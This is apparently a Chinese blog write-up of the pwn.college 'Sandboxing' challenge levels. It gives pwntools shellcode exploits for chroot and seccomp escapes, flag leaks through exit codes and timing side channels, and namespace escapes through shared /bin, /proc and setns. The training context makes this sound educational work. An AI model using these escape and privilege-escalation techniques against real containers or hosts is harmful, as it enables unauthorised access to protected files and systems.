pwn.college: Sanboxing

侧信道还挺有意思的,所以rob是怎么在level 12中只调用一次程序就get flag呢?

level 1

通过chroot把随机生成的一个路径”/tmp/jail-XXXX”替换为根目录,也就是”/“。随后它会打开”/flag”,但是这个/flag在经过”chroot”后已经变成了/tmp/jail-xxxx/flag,这个flag是通过open,wirte创建的一个假的flag。最后有一个sendfile(),打开我们参数传递的路径。那很简单了,直接传递../../flag这样就去到了/flag,即/tmp/jail-xxxx/../../flag

level 2

源码中会通过read()读取用户输入到一个mmap出来的一个空间,并使用JIT的方式执行它。

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'

p = process(["/challenge/babyjail_level2",'arg1', 'arg2'])

shellcode = asm(shellcraft.chmod("../../flag", 0o777))
p.send(shellcode)

# p.interactive()

level 3

源码中通过以下方式,防止使用相对路径进行逃逸:

1
2
puts("Moving the current working directory into the jail.\n");
assert(chdir("/") == 0);

将工作目录切换到jail内的根目录。

为什么需要切换到jail内的根目录能够防止相对路径逃逸呢?

由于chroot的限制,这题源码中的chroot(jail_path)仅将进程的逻辑根目录改为jail_path,但不自动改变工作目录。

如果未调用chdir("/"),进程的工作目录仍然在jail外。所以level2可以通过相对路径进行逃脱。

这里还有一个问题,就是无法使用软连接:int fd = open(argv[1], O_RDONLY|O_NOFOLLOW);参数O_NOFOLLOW表示不要跟随符号链接。当要打开的文件是符号链接时,open()会拒绝打开它。

但是,open是能够打开目录的,并且后续可以用openat打开dirfd中的文件。而进入jail后,已经存在的资源并不会失效。因此,可以通过先传参数,执行open('/', O_RDONLY|O_NOFOLLOW);获得目录文件描述符。随后在shellcode中构造openat(dirfd, 'flag', O_RDONLY, 0);使得获得/flag的文件描述符。最后通过sendfile()将其打印出来。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'

p = process(["/challenge/babyjail_level3", "/", "arg2"])

shellcode = asm(shellcraft.openat(3, 'flag', os.O_RDONLY, 0))
shellcode += asm(shellcraft.syscall(40, 1, 4, 0, 100))
shellcode += asm(shellcraft.exit())
p.send(shellcode)

p.interactive()

level 4

题目给了条件,能够使用的系统调用为:openat, read, write, sendfile。前面用到的exp删了exit即可。

level 5

能够使用的系统调用为:linkat, open, read, write, sendfile

linkat()系统调用是一个用于创建硬链接(hard link)的系统调用,linkat()允许你在指定的目录文件描述符上下文中创建硬链接,这对于chroot()或其他文件系统隔离环境中工作时十分有用。

可以通过linkat()将根目录下的flag链接到jail中。然后再通过open, sendfile将其打印出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'

p = process(["/challenge/babyjail_level5", "/", "arg2"])
# p = gdb.debug(["/challenge/babyjail_level5", "/", "arg2"], "b *main+1498")

shellcode = asm(shellcraft.open('./', os.O_RDONLY |os.O_DIRECTORY, 0))
shellcode += asm(shellcraft.linkat(3, 'flag', 4, 'f' ,0))
shellcode += asm(shellcraft.open('./f', os.O_RDONLY , 0))
shellcode += asm(shellcraft.syscall(40, 1, 5, 0, 100))
p.send(shellcode)

p.interactive()

level 6

能够使用的系统调用为:fchdir, open, read, write, sendfile

fchdir()用于将当前工作目录切换到由一个打开的目录文件描述符所表示的目录。

int fchdir(int fd); 其中fd指向一个目录的有效文件描述符,通常通过open()打开并加上O_DIRECTORY标志。成功返回0,失败返回-1

可以通过fchdir()将当前目录切换到之前已经open开的目录下,然后再获取flag即可。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'

p = process(["/challenge/babyjail_level6", "/", "arg2"])

shellcode = asm(shellcraft.syscall('SYS_fchdir', 3))
shellcode += asm(shellcraft.open('flag', os.O_RDONLY , 0))
shellcode += asm(shellcraft.syscall(40, 1, 4, 0, 100))
p.send(shellcode)

p.interactive()

level 7

可用的系统调用为:chdir, chroot, mkdir, open, read, write, sendfile

其中,chroot()用于将当前进程的根目录(/)改变为指定路径。 这个改变只影响当前进程及其子进程,其他进程不受影响。

int chroot(const char *path);传递参数为新根目录的路径

chdir()用于更改当前进程的工作目录。

int chdir(const char *path);传递参数为需要切换到的目录路径,可以是绝对路径或相对路径。成功返回0,失败返回-1

mkdir()用于创建目录。

int mkdir(const char *pathname, mode_t mode);参数pathname为要创建的目录路径(可以是相对路径或绝对路径)。参数mode是新目录的权限位。

chroot只改变/解析基准,不改变cwd。 如果不调用chdir("/")的话,那么当前目录仍可能在新根之外。那么此时的相对路径便有用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'

p = process(["/challenge/babyjail_level7", "/", "arg2"])

shellcode = asm(shellcraft.mkdir("jail", 0o755))
shellcode += asm(shellcraft.pushstr('./jail'))
shellcode += asm(shellcraft.syscall('SYS_chroot', 'rsp'))
shellcode += asm(shellcraft.open('../../flag', os.O_RDONLY , 0))
shellcode += asm(shellcraft.syscall(40, 1, 4, 0, 100))
p.send(shellcode)

p.interactive()

level 8

可用的系统调用为:openat, read, write, sendfile。但现在给予给程序的参数并不会被用上,也就是说没有jail外的fd资源了。

那么需要我们创建一个jail外的fd资源。还记得之前有个绑定fd的方法:exec 3<>a,将文件a绑定至文件描述符4。这一关这里不能用<>符号,因为<表示可读,>表示可写。我们并没有根目录可写的权限。但是是可读的。

执行exec 3< /后,将根目录绑定至文件描述符4。随后再设置process中的close_fdsFalse,使得执行程序时继承fd。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'

p = process(["/challenge/babyjail_level8", "arg1"], close_fds=False)


shellcode = asm(shellcraft.openat(3, 'flag', os.O_RDONLY, 0))
shellcode += asm(shellcraft.syscall(40, 1, 4, 0, 100))
p.send(shellcode)

p.interactive()

level 9

可用的系统调用为:close, stat, fstat, lstat

close用来关闭文件描述符。stat()用于获取文件或目录的详细信息的系统调用。int stat(const char *pathname, struct stat *statbuf);第一个参数为需要获取信息的文件或目录路径。第二个参数是一个指向struct stat结构体的指针,该结构体将包含文件的元数据。

fstat()类似于stat(),但它基于文件描述符获取文件的元数据。int fstat(int fd, struct stat *statbuf);

lstat()用来获取符号链接的信息,而不是符号链接指向的文件的信息。

但有一个关键是源文件中:

1
2
puts("Adding architecture to seccomp filter: x86_32.\n");
seccomp_arch_add(ctx, SCMP_ARCH_X86);

根据它允许的系统调用列表,可知允许的系统调用号分别为3,4,5,6。而最终应用于32位,在32位这四个系统调用分别为:read, write, open, close

而这题是没有jail的。也就是需要我们在64位架构下,用32位的shellcode。这是需要手动生成的。

注意,在生成的shellcode中是无法使用栈存储字符串变量(/flag),因为shellcode是32位的,使用int 80进行系统调用,如果将其push进栈,再将其存入rbx中是无效的,因为int 80系统调用只会访问ebx。所以会open失效。

思路是,使用32位的系统调用,用open,read,write系统调用拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch="i386",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'

p = process(["/challenge/babyjail_level9", "arg1"])
# p = gdb.debug(["/challenge/babyjail_level9", "arg1"], "b *main+787", close_fds=False)


# shellcode = shellcraft.open("/flag")
shellcode = """
mov eax, 5
mov ebx, 0x1337034
xor ecx, ecx
xor edx, edx
int 0x80
"""
shellcode += shellcraft.read(3, 0x1337100, 0x40)
shellcode += shellcraft.write(1, 0x1337100, 0x40)

# print(len(asm(shellcode)))
# pause()
p.send(asm(shellcode) + b'/flag')

p.interactive()

level 10

Escape a chroot sandbox using shellcode, but this time only using the following syscalls: [“read”, “exit”]. Note that “write” is disabled! You will need a creative way of extracting the flag data from your process!

能用的系统调用为:read, exit。这一关是正常的64位架构的seccomp,能够执行open()以及read()。剩下需要做的就是泄露出来。提供了exit(),那么如rob在课上讲的,可以每次将flag的一个字节作为exit()的代码。这样就能泄露出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'

flag = ''
for i in range(0x39):
p = process(["/challenge/babyjail_level10", "/flag", "arg2"])
# p = gdb.debug(["/challenge/babyjail_level9", "arg1"], "b *main+787", close_fds=False)
shellcode = shellcraft.read(3, 0x1337100, 0x39)
shellcode += f"movzx rdi, byte ptr [0x1337100 + {i}]"
shellcode += shellcraft.exit('rdi')
p.send(asm(shellcode))
p.wait()
exit_code = p.poll()

flag += chr(exit_code & 0xff)

print(flag)
p.interactive()

level 11

Escape a chroot sandbox using shellcode, but this time only using the following syscalls: [“read”, “nanosleep”]. Note that “write” is disabled! You will need a creative way of extracting the flag data from your process!

能用的系统调用为nanosleep(), read()

其中nanosleep()用于让进程睡眠(暂停)指定的纳秒级时间。

类似于爆破,前面尝试一个字节一个字节的泄露时,发现时间偏差较大,不太准确。然后rob课上讲的时候,有一个学生提了一下可以通过泄露每个字节的bit,bit是确切的。泄露比特时,1便延迟1秒,0就不延迟,差距比较大,所以泄露出来是准确的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
import time
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'info'
# p = gdb.debug(["/challenge/babyjail_level11", "/flag", "arg2"], "b *main+830", close_fds=False)
flag = ""
for i in range(0x39):
f = ""
for x in range(7):
p = process(["/challenge/babyjail_level11", "/flag", "arg2"])
shellcode = shellcraft.read(3, 0x1337100, 0x39)
shellcode += f"""
xor rax, rax
push rax
movzx rax, byte ptr [0x1337100 + {i}]
shr rax, {x}
and rax, 1
push rax
mov rdi, rsp
"""
shellcode += shellcraft.nanosleep('rdi',0)
shellcode = asm(shellcode)

start = time.perf_counter()
p.send(shellcode)
p.wait()
end = time.perf_counter()
delta = end - start
if delta < 1:
# 比特为0
f = "0" + f
else:
# 比特为1
f = "1" + f
flag_char = chr(int(f.zfill(8),2))
flag += flag_char
print(flag)
p.interactive()

level 12

Escape a chroot sandbox using shellcode, but this time only using the following syscalls: [“read”]. Note that “write” is disabled! You will need a creative way of extracting the flag data from your process!

只有一个read能用。换言之,能够把/flag的数据存储到进程空间中,需要想办法把他泄露出来。

看rob课上展示了只执行一次程序就能泄露出flag,想了一下,没有这个方法的思路。如果各位有Rob的思路,可以评论提供一下,万分感谢。

我的思路:read系统调用的count参数为0和为1时,程序的退出代码是不一样的,且我们可以拿到程序的退出代码。

例如,当read(0, 0x1337200, 0)时,由于执行了shellcode,且shellcode没有正常退出,那么会出现段错误。exit_code-11

read(0, 0x1337200, 1)时,程序会等待用户输入,而我们可以使用p.wait(0.3)来提前结束该进程,使得exit_codeNone

因此可以作为泄露依据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import select
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'info'
# p = gdb.debug(["/challenge/babyjail_level12", "/flag", "arg2"], "b *main+734", close_fds=False)

flag = ""
for i in range(0x39):
f = ""
for x in range(7):
p = process(["/challenge/babyjail_level12", "/flag", "arg2"])
shellcode = shellcraft.read(3, 0x1337100, 0x39)
shellcode += f"""
movzx rax, byte ptr [0x1337100 + {i}]
shr rax, {x}
and rax, 1
"""
shellcode += shellcraft.read(0 ,0x1337200 , 'rax')
p.send(asm(shellcode))
p.wait(0.3)
exit_code = p.poll()
print("exit_code: ", exit_code)
if exit_code:
f = "0" + f
else:
f = "1" + f
flag_char = chr(int(f.zfill(8),2))
flag += flag_char

print(flag)
p.interactive()

level 13

Escape a different kind of sandbox in which a jailed child process is only communicable to from a parent process.

一步步分析一下源码,在子进程中,设置了seccomp,允许使用的系统调用为:read, write。随后便是通过read读取child_socket文件描述符中的数据,作为shellcode存储于0x1337000。这个child_socket的值为4。对应的parent_socket为3

在父进程中,从标准输入读取shellcode,并存于0x1337000中。然后通过write往文件描述符3中写shellcode。紧接着父进程进入一个死循环,从3中读取128个字节,存入command中。设置command[9] = '\0';

这个command能够执行的命令有:print_msg, read_file。其中command[10]开始的是command_argument

print_msg:将command_argument打印出来。

read_file:执行sendfile(3, open(command_argument, 0), 0, 128)

父进程通过标准输入读取shellcode,再将shellcode写入3中。此时子进程通过4读取到shellcode,并将消息*print_msg:Executing shellcode!*写入4中。父进程通过3读取到消息,并处理随后继续等待子进程的消息。

现在子进程需要通过shellcode向父进程发送read_file:/flag消息,然后再通过read读取到/flag,再write

请特别注意io中的size,因为共享管道fd的关系,若管道符中的数据没有被read完,会影响下一次write。所以,每次read和write都应该为精确的size。

为了简化脚本,可以使用exec 10000<>./shellcodeexec 10001<>./print_flag,然后通过read读取相关内容进入内存区。

shellcode文件的内容:

1
read_file:/flag

print_flag文件的内容:

1
print_msg

最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import select
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'
# p = gdb.debug(["/challenge/babyjail_level13"], "b *main+1144", close_fds=False)
p = process("/challenge/babyjail_level13", close_fds=False)

# read pre-file
shellcode = shellcraft.read(10000, 0x1337100, 0xf)
shellcode += shellcraft.read(10001, 0x1337200, 0x9)

# read_file
shellcode += shellcraft.write(4, 0x1337100, 0xf)

# get /flag content
shellcode += shellcraft.read(4, 0x133720a, 0x3a)
# print_msg:/flag
shellcode += shellcraft.write(4, 0x1337200, 0x3a+0xa)
# exit
shellcode += shellcraft.exit(0)
p.send(asm(shellcode))

p.interactive()

level 14

Learn the implications of a different way of sandboxing, using modern namespacing techniques! But what if the sandbox is really sloppy?

命名空间隔离机制,看看源码需要我们做什么。

首先gethostname获得主机名,然后判断其如果包含-level,且不包含vm_那么退出。

翻译一下提示信息:在dojo中,这个挑战必须在虚拟化模式下运行。请运行vm connect 启动并连接到虚拟机,然后在虚拟机内运行此挑战。你可以通过查看shell提示符中的主机名来判断您何时在VM内运行:如果它以vm_开头,则表示您正在虚拟机内执行。你可以通过在每个终端上启动‘ VM connect ’从多个终端连接到VM,并且所有文件都在VM和普通容器之间共享。

这个挑战将使用mount namespace和pivot_root将您放入/tmp/jail- xxxxxx中的jail中。您将能够很容易地在这个监狱内读取一个假的flag,而不是真正的flag。如果你想要真正的flag,你必须逃逸。

继续看代码:for (int i = 3; i < 10000; i++) close(i);,关闭文件描述符。assert(geteuid() == 0);当前挑战需要以root身份运行。

assert(unshare(CLONE_NEWNS) != -1);调用unshare系统调用并传递CLONE_NEWNS标志,表示要创建一个新的文件系统命名空间。

unshare()是Linux系统中用于创建新的进程空间的一个系统调用和命令。它允许调用进程与当前进程环境分离,并独立地管理一些进程资源。使用unshare时可以指定以下命名空间:

CLONE_NEWNS:新的文件系统命名空间(mount namespace)。进程将获得一个新的挂载点视图,类似于 chroot。

CLONE_NEWUTS:新的 UTS 命名空间(用于主机名和域名)。进程可以在独立的主机名和域名环境中运行。

CLONE_NEWIPC:新的 IPC 命名空间(进程间通信)。进程将拥有独立的信号量、消息队列和共享内存。

CLONE_NEWNET:新的网络命名空间。进程将具有独立的网络接口和网络堆栈。

CLONE_NEWPID:新的 PID 命名空间。进程会拥有自己的 PID 容器,PID 号从 1 开始。

CLONE_NEWUSER:新的用户命名空间。进程将拥有独立的用户和组 ID。

CLONE_NEWTIME:新的时间命名空间。允许进程独立设置自己的时间。

随后创建新的root目录为/tmp/jail-XXXXXX,然后使用mount将根文件系统/的挂载类型更改为私有挂载,再创建一个新的目录用于存放旧的根文件系统。准备结束后,调用SYS_pivot_root系统调用,将当前的根文件系统切换为新的根文件系统,并将旧的根文件系统移动到old/目录下。也就是说,原本文件系统的/bin等现在在/old/bin下。

切换文件系统后,通过mountmkdir创建目录,并将/usr, /lib, /lib64等挂载到/old/usr, ...

最后使用chdir(/)将当前工作目录,切换到新的根目录下。

原根文件系统在/old下,所以原/proc/old/proc中。其中记录着jail外的各个进程。包括这些进程的根目录。

而这些进程的根目录中存在/flag并没有被修改!先执行vm connect命令,然后运行关卡程序。进入到jail中是sudo权限,那么old目录有一切东西。

level 15

Learn the implications of a different way of sandboxing, using modern namespacing techniques! But what are the implications of sharing filesystems between the sandbox and host?

没有/old文件夹了。

1
2
3
4
// let's remove the old root mount
puts("... unmounting old root directory.");
assert(umount2("/old", MNT_DETACH) != -1);
assert(rmdir("/old") != -1);

可以知道它mount了/bin目录。mount bind的方式将虚拟机的目录/bin直接共享给容器了,那么容器里的root就等于拿到了修改虚拟机/bin中文件的能力。

1
2
3
assert(mkdir("/bin", 0755) != -1);
puts("... bind-mounting /bin into the jail.");
assert(mount("/old/bin", "/bin", NULL, MS_BIND, NULL) != -1);

也就是获得修改容器外的/bin的能力,而/bin是宿主机中各种命令的源文件。

特别的一点:chmod u+s victim能打开SUID位,导致任何人执行victim程序都会以文件所有者(root)身份运行。

在这里的体现就是,容器内的root给cat加上SUID位,当回到容器外(虚拟机内)时,/bin/cat已经被增加了SUID位,因此它运行时会以root身份运行。从而实现提权。

level 16

Learn the implications of a different way of sandboxing, using modern namespacing techniques! But what shenanigans can you get up to with special kernel-backed filesystems?

了解使用现代名称空间技术的另一种沙盒方式的含义!但是,使用特殊的内核支持的文件系统,您可以进行哪些恶作剧呢?

1
2
3
4
5
6
assert(mkdir("/bin", 0755) != -1);
puts("... bind-mounting /bin into the jail.");
assert(mount("/old/bin", "/bin", NULL, MS_BIND, NULL) != -1);

puts("... making /bin read-only...");
assert(mount(NULL, "/bin", NULL, MS_REMOUNT|MS_RDONLY|MS_BIND, NULL) != -1);

mount(NULL, "/bin", NULL, MS_REMOUNT|MS_RDONLY|MS_BIND, NULL)/bin目录设置为只读挂载。那么level 15的解题方法就失效了。

但是这里它额外挂载了/proc

1
2
3
4
5
6
assert(mkdir("/proc", 0755) != -1);
puts("... bind-mounting /proc into the jail.");
assert(mount("/old/proc", "/proc", NULL, MS_BIND, NULL) != -1);

puts("... making /proc read-only...");
assert(mount(NULL, "/proc", NULL, MS_REMOUNT|MS_RDONLY|MS_BIND, NULL) != -1);

那么发现,它挂载的时候,把整个原proc给放进来了。那么可以直接去到/proc中拿到flag。

level 17

Learn the implications of a different way of sandboxing, using modern namespacing techniques! But what happens if you can smuggle in a resource from the outside?

了解使用现代名称空间技术的另一种沙盒方式的含义!但如果你能从外部偷运资源呢?

执行shellcode,和之前的chroot关卡一致。先打开一个dirfd,然后openat打开/flag,随后sendfile即可。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'
# p = gdb.debug(["/challenge/babyjail_level17", "/"], "b *main+1782", close_fds=False)

p = process(["/challenge/babyjail_level17", '/'], close_fds=False)

shellcode = shellcraft.openat(3, 'flag', os.O_RDONLY, 0)
shellcode += shellcraft.syscall('SYS_sendfile', 1, 4, 0, 0x3a)
p.send(asm(shellcode))
p.interactive()

level 18

Learn the implications of a different way of sandboxing, using modern namespacing techniques! What could be the harm of mounting in a harmless directory?

了解使用现代名称空间技术的另一种沙盒方式的含义!在一个无害的目录中挂载会有什么害处呢?

新的限制条件:

1
2
3
4
5
6
7
8
9
assert(argv[1][0] == '/');
assert(strstr(argv[1], ".") == NULL);
assert(strstr(argv[1], "flag") == NULL);
assert(strstr(argv[1], "root") == NULL);
assert(strstr(argv[1], "tmp") == NULL);
assert(strstr(argv[1], "var") == NULL);
assert(strstr(argv[1], "run") == NULL);
assert(strstr(argv[1], "dev") == NULL);
assert(strstr(argv[1], "fd") == NULL);

参数不能是/, ., flag, root ...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puts("... to minimize shenanigans, we only support your home dir or a non-writable leaf directory (no subdirs).");
struct stat statbuf;
struct dirent *dent;
char dirpath[1024];
DIR *dir;

assert(lstat(argv[1], &statbuf) != -1);
assert(S_ISDIR(statbuf.st_mode));
assert(dir = opendir(argv[1]));
while ((dent = readdir(dir)) != NULL)
{
if (strcmp(dent->d_name, ".") == 0 || strcmp(dent->d_name, "..") == 0) continue;
snprintf(dirpath, 1024, "%s/%s", argv[1], dent->d_name);
printf("... making sure %s is not a directory\n", dirpath);
assert(stat(dirpath, &statbuf) != -1);
assert(!S_ISDIR(statbuf.st_mode));
}
closedir(dir);

检查参数是否存在且是一个目录,尝试打开该目录,遍历这个目录,跳过当前目录和父目录。对该目录下的每个文件进行检查,确保文件存在且不是目录,只允许普通文件或者符号链接。

后续会将参数提供的这个目录,只读绑定进容器中。

setns()是Linux的一个系统调用(System Call),用于让当前进程进入另一个命名空间。

int setns(int fd, int nstype);其中fd是指向namespace的文件描述符(通常是/proc/[pid]/ns/*),nstype是命名空间类型,可设置为0表示不检查类型。

proc/[pid]/ns是Linux系统中用于表示某个进程所处的命名空间(namespace)环境。 这个目录包含了进程pid所在的各类namespace的符号链接。例如,查看进程1234:ls -l /proc/1234/ns。输出的信息可能是:

1
2
3
4
5
6
7
ipc      -> ipc:[4026531839]
mnt -> mnt:[4026531840]
net -> net:[4026531992]
pid -> pid:[4026531836]
user -> user:[4026531837]
uts -> uts:[4026531838]
cgroup -> cgroup:[4026531835]

AI给我的回复,我觉得总结得很好了。

命名空间类型 文件路径例子 控制范围 进入后对你的影响
mnt(挂载) /proc/1/ns/mnt 目录树和挂载点 你会看到另一个系统的目录结构,可能能逃出容器
net(网络) /proc/1/ns/net 网络设备、接口、IP、端口 你获得了另一个命名空间的网络访问能力(比如 eth0, lo)
ipc(进程通信) /proc/1/ns/ipc 共享内存、消息队列、信号量 你能与那个 namespace 的进程共享 IPC 资源
pid(进程号) /proc/1/ns/pid 进程号的可见范围 需要 fork 新进程,才能在新的 pid namespace 中看到进程号隔离效果
user(用户) /proc/1/ns/user UID/GID 视图、权限 能让你在 namespace 内成为“root”,但权限不一定能继承出来
uts(主机名) /proc/1/ns/uts 主机名与域名 会变成目标的 hostname,常用于伪装容器环境
cgroup(控制组) /proc/1/ns/cgroup cgroup v2 控制结构 控制资源限制所属组,一般配合容器使用
time(时间) /proc/1/ns/time 系统时间视图 用于模拟不同的系统时间、时间加速等场景

那么,我们可以通过用setns切换到/proc/1/ns/mnt,然后访问/flag即可。因为切换到/proc/1的命名空间后,根目录也会相应改变,所以就“逃逸”了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
context.log_level = 'debug'
# p = gdb.debug(["/challenge/babyjail_level17", "/"], "b *main+1782", close_fds=False)

p = process(["/challenge/babyjail_level18", '/proc/1/ns/'], close_fds=False)

shellcode = shellcraft.open('/data/mnt', 0)
shellcode += shellcraft.setns('rax', 0)
shellcode += shellcraft.open('/flag',0)
shellcode += shellcraft.syscall("SYS_sendfile", 1, 'rax', 0, 0x3a)
p.send(asm(shellcode))
p.interactive()

pwn.college: Sanboxing
https://loboq1ng.github.io/2025/06/09/pwn-college-Sanboxing/
作者
Lobo Q1ng
发布于
2025年6月9日
许可协议